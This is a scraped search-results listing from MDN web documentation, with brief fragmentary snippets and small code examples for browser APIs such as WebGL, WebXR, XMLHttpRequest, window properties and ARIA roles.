ServiceWorkerContainer - Web APIs
via a messageport.postmessage() call.) also available via the serviceworkercontainer.onmessage property.
...this can be used to react to sent messages earlier, even before that page's content has finished loading.
...if it isn't, it prompts the user to reload the page so the service worker can take control.
...And 3 more matches
SharedWorker() - Web APIs
although gecko 10.0 (firefox 10.0 / thunderbird 10.0 / seamonkey 2.7) and later accept data uris, that's not the case in all other browsers.
... options optional an object containing option properties that can set when creating the object instance.
...the value can be classic or module.
...And 3 more matches
SourceBuffer.mode - Web APIs
WebAPISourceBuffermode
the mode property of the sourcebuffer interface controls whether media segments can be appended to the sourcebuffer in any order, or in a strict sequence.
...the segments can be appended to the sourcebuffer in any order.
...segment timestamps are generated automatically for the segments that observe this order.
...And 3 more matches
SpeechRecognitionError.error - Web APIs
this speechrecognitionerror interface was renamed to speechrecognitionerrorevent in the web speech api specification.
... aborted speech input was aborted in some manner, perhaps by some user-agent-specific behavior like a button the user can press to cancel speech input.
... audio-capture audio capture failed.
...And 3 more matches
SpeechRecognitionErrorEvent.error - Web APIs
aborted speech input was aborted in some manner, perhaps by some user-agent-specific behavior like a button the user can press to cancel speech input.
... audio-capture audio capture failed.
... network network communication required for completing the recognition failed.
...And 3 more matches
SpeechSynthesisErrorEvent.error - Web APIs
the error property of the speechsynthesiserrorevent interface returns an error code indicating what has gone wrong with a speech synthesis attempt.
...possible codes are: canceled a speechsynthesis.cancel method call caused the speechsynthesisutterance to be removed from the queue before it had begun being spoken.
... interrupted a speechsynthesis.cancel method call caused the speechsynthesisutterance to be interrupted after it had begun being spoken and before it completed.
...And 3 more matches
StaticRange.StaticRange() - Web APIs
it includes properties identifying the standard and end positions of the range as well as a boolean indicating whether or not the range is collapsed (that is, empty).
...the four required rangespec properties are: startcontainer the node in which the starting point of the range is located.
... endcontainer the node in which the end point of the range is located.
...And 3 more matches
StaticRange - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 11.666666666666666%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/abstractrange" target="_top"><rect x="1" y="1" width="130" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="66" y="30" font-size="12px" font-family="consolas,monaco,andale mono,mon...
...the offset into the node at which the end position is located is indicated by endoffset.
... staticrange.endoffset read only returns an integer value indicating the offset into the node given by endcontainer at which the last character of the range is found.
...And 3 more matches
Using the Storage Access API - Web APIs
accessing a user's cookies in an embedded cross-origin iframe in this example we show how an embedded cross-origin <iframe> can access a user’s cookies under a storage access policy that blocks third-party cookies.
... first of all, if the <iframe> is sandboxed, the embedding website needs to add the allow-storage-access-by-user-activation sandbox token to allow storage access requests to be successful, along with allow-scripts and allow-same-origin to allow it to call the api, and execute in an origin that can have cookies: <iframe sandbox="allow-storage-access-by-user-activation allow-scripts allow-same-origin"> ...
...since it does not know whether it currently has access to storage, it should first call document.hasstorageaccess().
...And 3 more matches
TextTrackList.onaddtrack - Web APIs
the texttracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new text track has been added to the media element whose text tracks the texttracklist represents.
... note: you can also add a handler for the addtrack event using addeventlistener().
... syntax texttracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been added to the media.
...And 3 more matches
TextTrackList - Web APIs
the individual tracks can be accessed using array syntax or functions such as foreach() for example.
... event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new text track has been added to the media element.
... onchange an event handler to be called when the change event occurs.
...And 3 more matches
Touch.radiusX - Web APIs
WebAPITouchradiusX
the value is in css pixels of the same scale as touch.screenx.
...it is specified in the touch events – level 2 draft specification and not in touch events recommendation.
...finger, stylus) along the axis indicated by the touch point's touch.rotationangle.
...And 3 more matches
TrackEvent() - Web APIs
eventinfo optional an optional dictionary providing additional information configuring the new event; it can contain the following fields in any combination: track optional the track to which the event refers; this is null by default, but should be set to a videotrack, audiotrack, or texttrack as appropriate given the type of track.
... bubbles optional a boolean indicating whether the event bubbles or not.
... cancelable optional a boolean indicating whether or not the event can be canceled.
...And 3 more matches
TrackEvent - Web APIs
the trackevent interface, which is part of the html dom specification, is used for events which represent changes to a set of available tracks on an html media element; these events are addtrack and removetrack.
... events based on trackevent are always sent to one of the media track list types: events involving video tracks are always sent to the videotracklist found in htmlmediaelement.videotracks events involving audio tracks are always sent to the audiotracklist specified in htmlmediaelement.audiotracks events affecting text tracks are sent to the texttracklist object indicated by htmlmediaelement.texttracks.
... example this example sets up a function, handletrackevent(), which is callled for any addtrack or removetrack event on the first <video> element found in the document.
...And 3 more matches
TransitionEvent.initTransitionEvent() - Web APIs
the transitionevent.inittransitionevent() method initializes a transition event created using the deprecated document.createevent("transitionevent") method.
...it has been deprecated and is in the progress of been removed from most implementation.
... do not use it anymore, use the standard constructor, transitionevent(), to create a synthetic transitionevent syntax transitionevent.inittransitionevent(typearg, canbubblearg, cancelablearg, transitionnamearg, elapsedtimearg); parameters typearg is a domstring identifying the specific type of transition event that occurred.
...And 3 more matches
TreeWalker.whatToShow - Web APIs
the possible values are: constant numerical value description nodefilter.show_all -1 (that is the max value of unsigned long) shows all nodes.
...this is meaningful only when creating a treewalker with an attr node as its root; in this case, it means that the attribute node will appear in the first position of the iteration or traversal.
...this is meaningful only when creating a treewalker with an entity node as its root; in this case, it means that the entity node will appear in the first position of the traversal.
...And 3 more matches
VTTCue - Web APIs
WebAPIVTTCue
vttcue.vertical returns an enum representing the cue writing direction.
...this can be the string auto or a number whose interpretation depends on the value of vttcue.snaptolines.
...this can be the string auto or a number representing the percentage of the vttcue.region, or the video size if vttcue.region is null.
...And 3 more matches
ValidityState.patternMismatch - Web APIs
the read-only patternmismatch property of a validitystate object indicates if the value of an <input>, after having been edited by the user, does not conform to the constraints set by the element's pattern attribute.
...56-7890 (<input name="tel1" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit area code" size="2"/>)- <input name="tel2" type="tel" pattern="[0-9]{3}" placeholder="###" aria-label="3-digit prefix" size="2"/> - <input name="tel3" type="tel" pattern="[0-9]{4}" placeholder="####" aria-label="4-digit number" size="3"/> </label> </p> here we have 3 sections for a north american phone number with an implicit label encompassing all three components of the phone number, expecting 3-digits, 3-digits and 4-digits respectively, as defined by the pattern attribute set on each.
... input:invalid { border: red solid 3px; } note, in this case, we get a patternmismatch not a validitystate.toolong or validitystate.tooshort if the values are too long or too short because it is the pattern that is dictating the length of the value.
...And 3 more matches
VideoTrackList.onaddtrack - Web APIs
the videotracklist property onaddtrack is an event handler which is called when the addtrack event occurs, indicating that a new video track has been added to the media element whose video tracks the videotracklist represents.
... note: you can also add a handler for the addtrack event using addeventlistener().
... syntax videotracklist.onaddtrack = eventhandler; value set onaddtrack to a function that accepts as input a trackevent object which indicates in its track property which video track has been added to the media.
...And 3 more matches
VideoTrackList - Web APIs
the individual tracks can be accessed using array syntax or functions such as foreach() for example.
... event handlers onaddtrack an event handler to be called when the addtrack event is fired, indicating that a new video track has been added to the media element.
... onchange an event handler to be called when the change event occurs — that is, when the value of the selected property for a track has changed, due to the track being made active or inactive.
...And 3 more matches
WebGL2RenderingContext.getSyncParameter() - Web APIs
possible values: gl.object_type: returns a glenum indicating the type of the sync object (always gl.sync_fence).
... gl.sync_status: returns a glenum indicating the status of the sync object (gl.signaled or gl.unsignaled).
... gl.sync_condition: returns a glenum indicating the sync objects' condition (always gl.sync_gpu_commands_complete).
...And 3 more matches
WebGL2RenderingContext.texImage3D() - Web APIs
syntax void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, glintptr offset); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlcanvaselement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlimageelement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, htmlvideoelement source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, format, type, imagebitmap source); void gl.teximage3d(target, level, internalformat, width, height, depth, border, forma...
...possible values: gl.alpha: discards the red, green and blue components and reads the alpha component.
... gl.rgb: discards the alpha components and reads the red, green and blue components.
...And 3 more matches
WebGLRenderingContext.activeTexture() - Web APIs
examples the following call selects gl.texture1 as the current texture.
... subsequent calls that modify the texture state will affect this texture.
... gl.activetexture(gl.texture1); the number of texture units is implementation dependent, you can get this number with the help of the max_combined_texture_image_units constant.
...And 3 more matches
WebGLRenderingContext.blendFunc() - Web APIs
constants the following constants can be used for sfactor and dfactor.
... the formula for the blending color can be described like this: color(rgba) = (sourcecolor * sfactor) + (destinationcolor * dfactor).
... gl.enable(gl.blend); gl.blendfunc(gl.src_color, gl.dst_color); gl.getparameter(gl.blend_src_rgb) == gl.src_color; // true specifications specification status comment webgl 1.0the definition of 'blendfunc' in that specification.
...And 3 more matches
WebGLRenderingContext.colorMask() - Web APIs
syntax void gl.colormask(red, green, blue, alpha); parameters red a glboolean specifying whether or not the red color component can be written into the frame buffer.
... green a glboolean specifying whether or not the green color component can be written into the frame buffer.
... blue a glboolean specifying whether or not the blue color component can be written into the frame buffer.
...And 3 more matches
WebGLRenderingContext.getBufferParameter() - Web APIs
possible values: gl.buffer_size: returns a glint indicating the size of the buffer in bytes.
... gl.buffer_usage: returns a glenum indicating the usage pattern of the buffer.
... examples gl.getbufferparameter(gl.array_buffer, gl.buffer_size); specifications specification status comment webgl 1.0the definition of 'getbufferparameter' in that specification.
...And 3 more matches
WebGLRenderingContext.getTexParameter() - Web APIs
possible values: pname return type description possible return values available in a webgl 1 context gl.texture_mag_filter glenum texture magnification filter gl.linear (default value), gl.nearest.
... gl.texture_min_filter glenum texture minification filter gl.linear, gl.nearest, gl.nearest_mipmap_nearest, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear (default value), gl.linear_mipmap_linear.
... examples gl.gettexparameter(gl.texture_2d, gl.texture_mag_filter); specifications specification status comment webgl 1.0the definition of 'gettexparameter' in that specification.
...And 3 more matches
WebGLRenderingContext.readPixels() - Web APIs
y a glint specifying the first vertical pixel that is read from the lower left corner of a rectangular block of pixels.
...possible values: gl.alpha: discards the red, green and blue components and reads the alpha component.
... gl.rgb: discards the alpha components and reads the red, green and blue components.
...And 3 more matches
WebGLRenderingContext.scissor() - Web APIs
y a glint specifying the vertical coordinate for the lower left corner of the box.
...default value: width of the canvas.
...default value: height of the canvas.
...And 3 more matches
WebGLRenderingContext.texParameter[fi]() - Web APIs
pname description param available in webgl 1 gl.texture_mag_filter texture magnification filter gl.linear (default value), gl.nearest.
... gl.texture_min_filter texture minification filter gl.linear, gl.nearest, gl.nearest_mipmap_nearest, gl.linear_mipmap_nearest, gl.nearest_mipmap_linear (default value), gl.linear_mipmap_linear.
... examples gl.texparameterf(gl.texture_2d, gl.texture_mag_filter, gl.linear); gl.texparameteri(gl.texture_2d, gl.texture_min_filter, gl.linear_mipmap_nearest); specifications specification status comment webgl 1.0the definition of 'texparameter[fi]' in that specification.
...And 3 more matches
WebGLRenderingContext.vertexAttrib[1234]f[v]() - Web APIs
description while vertex attributes are usually used to specify values which are different for each vertex (using vertexattribpointer), it can be useful to specify a constant value.
... for example, if you have a shader which has a color vertex attribute, but you want to draw everything in a single color, you can use vertexattrib to achieve that without creating a buffer filled with only one value or having to create a separate shader which uses a uniform for the color.
... attributes may be matrices, in which case columns of the matrix must be loaded into successive vertex attribute slots.
...And 3 more matches
Boilerplate 1 - Web APIs
specifically, the html has a <p> element that contains some descriptive text about the page and may also hold error messages; a <canvas> element; and optionally a <button>.
... the css contains rules for body, canvas, and button.
...basically, it gets the webgl rendering context from the canvas element, initializes the drawing buffer, clears it black, and returns the initialized context.
...And 3 more matches
Color masking - Web APIs
you can think of the color masking operation as if looking at the colored canvas through some tinted glass or color filter.
... note that the calls to colormask() only occur when the user clicks on one of the toggle buttons.
...the color mask state of webgl is preserved, so we do not need to call colormask() every frame to set up the color mask.
...And 3 more matches
Simple color animation - Web APIs
the user can start, stop and restart the animation by clicking the button.
... this time we put the webgl function calls within a timer event handler.
...the timer and the timer handler function establish the animation loop, a set of drawing commands that are executed at a regular period (typically, every frame; in this case, once per second).
...And 3 more matches
Using shaders to apply color in WebGL - Web APIs
we can do this by revising the shaders.
...by default, all other pixels' colors (and all its other attributes, including position) are computed using interpolation, automatically creating smooth gradients.
...then a new webgl buffer is allocated to store these colors, and the array is converted into floats and stored into the buffer.
...And 3 more matches
Using WebGL extensions - Web APIs
canonical extension names, vendor prefixes and preferences extensions may be supported by browser vendors before being officially ratified (but only when they are in draft stage).
... in that case, their name can be prefixed by the vendor prefix (moz_, webkit_, etc.) or the extension is only available once a browser preference has been toggled.
... if you wish to work with the bleeding edge of extensions, and want to keep working on upon ratification (assuming, of course, that the extension doesn't change in incompatible ways), that you query the canonical extension name as well as the vendor extension name.
...And 3 more matches
WebSocket - Web APIs
WebAPIWebSocket
websocket.onclose an event listener to be called when the connection is closed.
... websocket.onerror an event listener to be called when an error occurs.
... websocket.onmessage an event listener to be called when a message is received from the server.
...And 3 more matches
Window: load event - Web APIs
WebAPIWindowload event
bubbles no cancelable no interface event event handler property onload examples log a message when the page is fully loaded: window.addeventlistener('load', (event) => { console.log('page is fully loaded'); }); the same, but using the onload event handler property: window.onload = (event) => { console.log('page is fully loaded'); }; live example html <div class="controls"> <button id="reload" type="button">reload</button> </div> <div class="event-log"> <la...
...nter; justify-content: center; } .event-log { grid-area: log; } .event-log-contents { resize: none; } label, button { display: block; } #reload { height: 2rem; } js const log = document.queryselector('.event-log-contents'); const reload = document.queryselector('#reload'); reload.addeventlistener('click', () => { log.textcontent =''; window.settimeout(() => { window.location.reload(true); }, 200); }); window.addeventlistener('load', (event) => { log.textcontent = log.textcontent + 'load\n'; }); document.addeventlistener('readystatechange', (event) => { log.textcontent = log.textcontent + `readystate: ${document.readystate}\n`; }); document.addeventlistener('domcontentloaded', (event) => { log.textcontent = log.textcontent + `domcontentloaded\n`; ...
...}); result specifications specification status comment ui eventsthe definition of 'load' in that specification.
...And 3 more matches
Window.matchMedia() - Web APIs
WebAPIWindowmatchMedia
the window interface's matchmedia() method returns a new mediaquerylist object that can then be used to determine if the document matches the media query string, as well as to monitor the document to detect when it matches (or stops matching) that media query.
... usage notes you can use the returned media query to perform both instantanteous and event-driven checks to see if the document matches the media query.
... if you need to be kept aware of whether or not the document matches the media query at all times, you can instead watch for the change event to be delivered to the object.
...And 3 more matches
Window.personalbar - Web APIs
returns the personalbar object, whose visibility can be toggled in the window.
...due to deprecation of enableprivilege this functionality can not be used in web pages.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.personalbar.visible = !window.personalbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
...And 3 more matches
Window.releaseEvents() - Web APIs
example window.releaseevents(event.keypress) notes note that you can pass a list of events to this method using the following syntax: window.releaseevents(event.keypress | event.keydown | event.keyup).
... see also window.captureevents ( ).
... specification this is not part of any specification.
...And 3 more matches
Window.scrollY - Web APIs
WebAPIWindowscrollY
the read-only scrolly property of the window interface returns the number of pixels that the document is currently scrolled vertically.
...you can get the number of pixels the document is scrolled horizontally from the scrollx property.
... syntax var y = window.scrolly value in practice, the returned value is a double-precision floating-point value indicating the number of pixels the document is currently scrolled vertically from the origin, where a positive value means the content is scrolled to upward.
...And 3 more matches
Window.sessionStorage - Web APIs
sessionstorage is similar to localstorage; the difference is that while data in localstorage doesn't expire, data in sessionstorage is cleared when the page session ends.
...as with objects, integer keys are automatically converted to strings.
... syntax mystorage = window.sessionstorage; value a storage object which can be used to access the current origin's session storage space.
...And 3 more matches
Window.showModalDialog() - Web APIs
please fix your web sites and applications.
... resizable: {on | off | yes | no | 1 | 0 } if this argument's value is on, yes, or 1, the dialog window can be resized by the user; otherwise its size is fixed.
... specification msdn page for showmodaldialog browser compatibility the compatibility table in this page is generated from structured data.
...And 3 more matches
Window.toolbar - Web APIs
WebAPIWindowtoolbar
the window.toolbar property returns the toolbar object, whose visibility can be toggled in the window.
...due to deprecation of enableprivilege this functionality can not be used in web pages.
... <!doctype html> <html> <head> <title>various dom tests</title> <script> // changing bar states on the existing window netscape.security.privilegemanager.enableprivilege("universalbrowserwrite"); window.toolbar.visible=!window.toolbar.visible; </script> </head> <body> <p>various dom tests</p> </body> </html> notes when you load the example page above, the browser displays the following dialog: to toggle the visibility of these bars, you must either sign your scripts or enable the appropriate privileges, as in the example above.
...And 3 more matches
Window.window - Web APIs
WebAPIWindowwindow
this means: global variables of your script are in fact properties of window: var global = {data: 0}; alert(global === window.global); // displays "true" you can access built-in properties of the window object without having to type window.
...for example, if we refer to "this.window.location.href", a javascript module could define a property called "window" inside of a class it defined (since no global "window" variable exists for it by default) which could be created after passing in a window object to the module class' constructor.
...in the non-namespaced version, "this.window" would refer back to "window", and also be able to readily get the document location.
...And 3 more matches
WindowEventHandlers.onpopstate - Web APIs
if the activated history entry was created by a call to history.pushstate(), or was affected by a call to history.replacestate(), the popstate event's state property contains a copy of the history entry's state object.
... note: calling history.pushstate() or history.replacestate() won't trigger a popstate event.
... the popstate event is only triggered by performing a browser action, such as clicking on the back button (or calling history.back() in javascript), when navigating between two history entries for the same document.
...And 3 more matches
WindowOrWorkerGlobalScope.atob() - Web APIs
you can use the btoa() method to encode and transmit data which may otherwise cause communication problems, then transmit it and use the atob() method to decode the data again.
... for example, you can encode, transmit, and decode control characters such as ascii values 0 through 31.
... example const encodeddata = window.btoa('hello, world'); // encode a string const decodeddata = window.atob(encodeddata); // decode the string polyfill you can use a polifill from https://github.com/maxart2501/base64-js/blob/master/base64.js for browsers that don't support it.
...And 3 more matches
WindowOrWorkerGlobalScope.clearInterval() - Web APIs
the clearinterval() method of the windoworworkerglobalscope mixin cancels a timed, repeating action which was previously established by a call to setinterval().
... syntax scope.clearinterval(intervalid) parameters intervalid the identifier of the repeated action you want to cancel.
... this id was returned by the corresponding call to setinterval().
...And 3 more matches
Worker.onmessage - Web APIs
WebAPIWorkeronmessage
the onmessage property of the worker interface represents an eventhandler, that is a function to be called when the message event occurs.
... these events are of type messageevent and will be called when the worker's parent receives a message (i.e.
... from the dedicatedworkerglobalscope.postmessage method).
...And 3 more matches
Worklet - Web APIs
WebAPIWorklet
with worklets, you can run javascript and webassembly code to do graphics rendering or audio processing where high performance is required.
... worklet types worklets are restricted to specific use cases; they cannot be used for arbitrary computations like web workers.
... the worklet interface abstracts properties and methods common to all kind of worklets, and cannot be created directly.
...And 3 more matches
XDomainRequest - Web APIs
this interface can send both get and post requests.
... syntax var xdr = new xdomainrequest(); returns a new xdomainrequest object, which can then be used to make and manage these requests.
... event handlers xdomainrequest.onprogress a handler for when the request has made progress between the send method call and the onload event.
...And 3 more matches
XMLHttpRequest.getResponseHeader() - Web APIs
if there are multiple response headers with the same name, then their values are returned as a single concatenated string, where each value is separated from the previous one by a pair of comma and space.
... note: the search for the header name is case-insensitive.
... syntax var myheader = xmlhttprequest.getresponseheader(headername); parameters headername a bytestring indicating the name of the header you want to return the text value of.
...And 3 more matches
XMLHttpRequest.onreadystatechange - Web APIs
an eventhandler that is called whenever the readystate attribute changes.
... the callback is called from the user interface thread.
... the xmlhttprequest.onreadystatechange property contains the event handler to be called when the readystatechange event is fired, that is every time the readystate property of the xmlhttprequest changes.
...And 3 more matches
XMLHttpRequest.setRequestHeader() - Web APIs
when using setrequestheader(), you must call it after calling open(), but before calling send().
... if this method is called several times with the same header, the values are merged into one single request header.
... each time you call setrequestheader() after the first time you call it, the specified text is appended to the end of the existing header's content.
...And 3 more matches
XMLHttpRequest.withCredentials - Web APIs
the xmlhttprequest.withcredentials property is a boolean that indicates whether or not cross-site access-control requests should be made using credentials such as cookies, authorization headers or tls client certificates.
... in addition, this flag is also used to indicate when cookies are to be ignored in the response.
...xmlhttprequest from a different domain cannot set cookie values for their own domain unless withcredentials is set to true before making the request.
...And 3 more matches
XRInputSource.gripSpace - Web APIs
for example, if a user were holding a virtual straight rod, the native origin of this xrspace would be located at the approximate center of mass of the user's fist.
...the native origin of the grip space is located at the centroid—the center of mass—of the user's fist, tracking the position of the user's hand.
... the y-axis is implied by the relationship between the other two axes; as is always the case, it's the cross product of the other two axes (lying 90° away from both the x and z axes).
...And 3 more matches
XRInputSourceEvent.frame - Web APIs
syntax let inputframe = xrinputsourceevent.frame; value an xrframe indicating the event frame at which the user input event described by the object took place.
... usage notes the event frame does not correspond to a visual frame as is delivered to the frame rendering callback function (see rendering and the webxr frame rendering callback for details on the callback).
... instead, the xrframe specified by the frame property is simply a method to provide access to the getpose() method, which you can use to get the relative positions of the objects in the scene at the time the event occurred.
...And 3 more matches
XRInputSourceEvent - Web APIs
more specifically, they represent a change in the state of an xrinputsource.
...because this is an event frame, not an animation frame, you cannot call the xrframe method getviewerpose() on it; instead, use getpose().
... inputsource read only an xrinputsource object indicating which input source generated the input event.
...And 3 more matches
XRRenderStateInit - Web APIs
the xrrenderstateinit dictionary is a writeable version of the xrrenderstate interface, and is used when calling an xrsession's updaterenderstate() method to apply changes to the render state prior to rendering the next frame.
... all distances are specified as floating-point values in meters; you can specify a value of 50 centimeters using a value of 0.5, for example.
... depthnear optional a floating-point value indicating the distance in meters from the viewer to a plane parallel to the display surface to be the near clip plane.
...And 3 more matches
XRRigidTransform.position - Web APIs
syntax let pos = xrrigidtransform.position; value a read-only dompointreadonly indicating the 3d position component of the transform matrix.
... example to create a reference space which can be used to place an object at eye level (assuming eye level is 1.5 meters): function onsessionstarted(xrsession) { xrsession.addeventlistener("end", onsessionended); gl = initgraphics(xrsession); let gllayer = new xrwebgllayer(xrsession, gl); xrsession.updaterenderstate({ baselayer: gllayer }); if (immersivesession) { xrsession.requestreferencespace("bounded-floor").then((refspace) => { refspacecreated(refspace); }).catch(() => { session.requestreferencespace("local-floor").then(refspacecreated); }); } else { session.requestreferencespace("viewer").then(refspacecreated); } } function refspacecreated(refspace) { if (immers...
...if that fails (probably because bounded-floor isn't supported), we try requesting a local-floor reference space.
...And 3 more matches
XRSession.environmentBlendMode - Web APIs
you should use caution when using its features.
...all the device can do is add more light to the image; it can't make things get darker.
... alpha-blend used by headsets or goggles which use cameras to capture the real world and display it digitally on the screen or screens used to render the content for the user to see, this offers a way to create an ar presentation using a vr device.
...And 3 more matches
XRSession.onsqueezeend - Web APIs
syntax xrsession.onsqueezeend = squeezeendhandlerfunction; value a function to be invoked whenever the xrsession receives a squeezestart event, indicating the ending of a primary squeeze action.
... if heldobject has an object reference, that object is passed to a function called cancelobjectdrag(), which would be written to return the object to its original position.
... this takes care of the situation in which the drag is aborted or canceled.
...And 3 more matches
XRView.eye - Web APIs
WebAPIXRVieweye
the xrview interface's read-only eye property is a string taken from the xreye enumerated type, indicating which eye's viewpoint the xrview represents: left or right.
...for dynamically-rendered 3d content, you can usually ignore this and simply render each of the viewer's views, one after another.
...however, we have flags which, if true, indicate that a particular eye has been injured during gameplay.
...And 3 more matches
XRWebGLLayer.framebuffer - Web APIs
these differences cause the opaque framebuffer to behave more like the default webgl framebuffer: opaque framebuffers may support anti-aliasing, even under webgl 1.0, which don't normally do so.
... opaque framebuffers' attachments (buffers and the like) can't be inspected or changed.
... calling functions such as framebuffertexture2d(), framebufferrenderbuffer(), deleteframebuffer(), or getframebufferattachmentparameter() on an opaque framebuffer results in the webgl error invalid_operation (0x0502).
...And 3 more matches
XRWebGLLayerInit.ignoreDepthValues - Web APIs
the xrwebgllayerinit dictionary's boolean ignoredepthvalues property can be provided in the options passed into the xrwebgllayer() constructor to indicate that the depth buffer, if it exists, should be ignored while composing the scene.
... the depth buffer is typically used to assist in ordering vertices and, by extension, polygons while compositing, to ensure that the scene is correctly composited, with objects the correct distance away and with clipping and other distance-related computations performed as accurately as possible.
... syntax let layerinit = { ignoredepthvalues: boolvalue }; let gllayer = new xrwebgllayer(xrsession, gl, layerinit); let gllayer = new xrwebgllayer(xrsession, gl, { ignoredepthvalues: boolvalue }); value a boolean value which can be set to true to disable the use of the depth buffer by the webgl rendering layer created by the xrwebgllayer() constructor.
...And 3 more matches
XSLTProcessor - Web APIs
if the given node is a document node, you can pass in a full xsl transform or a literal result element transform; otherwise, it must be an <xsl:stylesheet> or <xsl:transform> element.
... the resultant object depends on the output method of the stylesheet: output method result type html htmldocument xml xmldocument text xmldocument with a single root element <transformiix:result> with the text as a child [throws] void xsltprocessor.setparameter(string namespaceuri, string localname, any value) sets a parameter in the xslt stylesheet that was imported.
... [throws] any xsltprocessor.getparameter(string namespaceuri, string localname) gets the value of a parameter from the xslt stylesheet.
...And 3 more matches
Using the aria-hidden attribute - Accessibility
the aria-hidden attribute can either expose or hide non-interactive content from the accessibility api.
...this can improve the experience for assistive technology users by hiding: purely decorative content, such as icons or images duplicated content, such as repeated text offscreen or collapsed content, such as menus according to the fourth rule of aria, aria-hidden="true" should not be used on a focusable element.
... deciding between aria-hidden="true", role="presentation", and role="none" on the surface, the aria-hidden="true", role="presentation", and role="none" attributes seem similar because they: hide content from assistive technology cannot be used on a focusable element cannot be used on the parent of an interactive element despite these similarities, the intent behind each attribute is different.
...And 3 more matches
ARIA: tabpanel role - Accessibility
the aria tabpanel role indicates description an element with the tabpanel role associated roles and attributes aria- keyboard interaction key action tab → ← delete required javascript features include note about semantic alternatives to using this role or attribute.
... the first rule of aria use is you can use a native feature with the semantics and behavior you require already built in, instead of re-purposing an element and adding an aria role, state or property to make it accessible, then do so.
... examples fill in a simple example that nicely shows a typical usage of the property, then perhaps some more complex examples.
...And 3 more matches
ARIA: gridcell role - Accessibility
<div role="gridcell">potato</div> <div role="gridcell">cabbage</div> <div role="gridcell">onion</div> elements that have role="gridcell" applied to them must be the child of an element with a role of row.
...instead use the native html td element in conjunction with the and contenteditable attribute: <td>potato</td> <td>cabbage</td> <td>onion</td> description gridcells with dynamically added, hidden, or removed rows and columns any element with a role="gridcell" applied to it should use aria to describe its order in the table-style grouping, provided the table, grid, or treegrid has the ability to have rows and/or columns dynamically added, hidden, or removed.
...>burks</div> <div role="gridcell" aria-colindex="5">new york</div> <div role="gridcell" aria-colindex="6">14127</div> </div> </div> … </div> describing the position of gridcells when the overall structure is unknown in situations where the table-style grouping of content does not provide information about the columns and rows, gridcells must have their positions programatically described by using aria-describedby.
...And 3 more matches
ARIA: List role - Accessibility
the aria list role can be used to identify a list of items.
... <section role="list"> <div role="listitem">list item 1</div> <div role="listitem">list item 2</div> <div role="listitem">list item 3</div> </section> description any content that consists of an outer container with a list of elements inside it can be identified to assistive technologies using the list and listitem containers respectively.
...elements with role listitem can only be found in an element with the role list or group.
...And 3 more matches
ARIA: Suggestion role - Accessibility
the suggestion landmark role semantically denotes a single proposed change to an editable document.
...this is the job of role="suggestion", which should be set on an element wrapping both of them like so: <p>freida’s pet is a <span role="suggestion"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
... </p> we could even provide an information box saying who made the suggestion and when, and associate it with the suggestion via aria-details: <p>freida’s pet is a <span role="suggestion" aria-details="comment-source"> <span role="deletion">black cat called luna</span> <span role="insertion">purple tyrannosaurus rex called tiny</span> </span>.
...And 3 more matches
ARIA: checkbox role - Accessibility
instead use the native html checkbox of <input type="checkbox">, which natively provides all the functionality required: <input type="checkbox" id="chk1-label"> <label for="chk1-label">remember my preferences</label> description the native html checkbox form control can only have two checked states ("checked" or "not checked"), with an indeterminate state settable via javascript.
... similarly, an element with role="checkbox" can expose three states through the aria-checked attribute: true, false, or mixed.
... the developer is required to change the value of the aria-checked attribute dynamically when the checkbox is activated.
...And 3 more matches
HTML To MSAA - Accessibility
this table reflects mapping rules for specific elements only, it doesn't reflect any general rules applicable to all elements.
... for example, if name column has n/a value then it means specific elements doesn't provide own rules to calculate name but name can be computed from aria markup or @title attribute.
... @href attribute is presented or click event listener is registered state_system_ traversed if link is traversed n/a "jump" if @href is valid n/a br role_system_ whitespace '\n' (new line char) state_system_ readonly n/a n/a n/a button role_system_ pushbutton from child nodes n/a state_system_ focusable state_system_ default if @type attribute has value "submit" n/a "press" n/a caption bstr role n/a n/a n/a description_for (0x100f), points to table element div bstr role n/a n/a n/a n/a n/a n/a fieldset role_system_ grouping text equivalent from child legend element n/a n/a labelled_by (1003), points to legend element n/a n/a hr role_system_ separator n/a n/a n/a n/a n/a n/a img, input @type=image role_system_ graphic from @alt attribute, empty @alt at...
...And 3 more matches
Writing Web Audio API code that works in every browser - Developer guides
furthermore, as a result of the spec being still in flux, some browsers use deprecated properties and method names that are not present in standards-compliant browsers: safari uses the old method names, firefox uses the new ones, and chrome and opera use both.
...once you include it in your page, you can write in "modern web audio api" style, and do things such as: var audiocontext = new audiocontext(); everywhere, including chrome/ium, opera, safari, and ---of course!--- firefox.
...if you're porting moderately "old" code (say, a year old) it's possible that it uses some methods that audiocontext-monkeypatch doesn't alias, because it helps you to write code in the new style.
...And 3 more matches
Mutation events - Developer guides
preface the mutation events have been marked as deprecated in the dom events specification, as the api's design is flawed (see details in the "dom mutation events replacement: the story so far / existing points of consensus" post to public-webapps).
... the practical reasons to avoid the mutation events are performance issues and cross-browser support.
... performance adding dom mutation listeners to a document profoundly degrades the performance of further dom modifications to that document (making them 1.5 - 7 times slower!).
...And 3 more matches
Orientation and motion data explained - Developer guides
we use upper-case letters ("x", "y", and "z") to describe the axes of the earth coordinate frame.
...we use lower-case letters ("x", "y", and "z") to describe the axes of the device coordinate frame.
...if you want to detect changes in device orientation in order to compensate, you can use the orientationchange event.
...And 3 more matches
Introduction to HTML5 - Developer guides
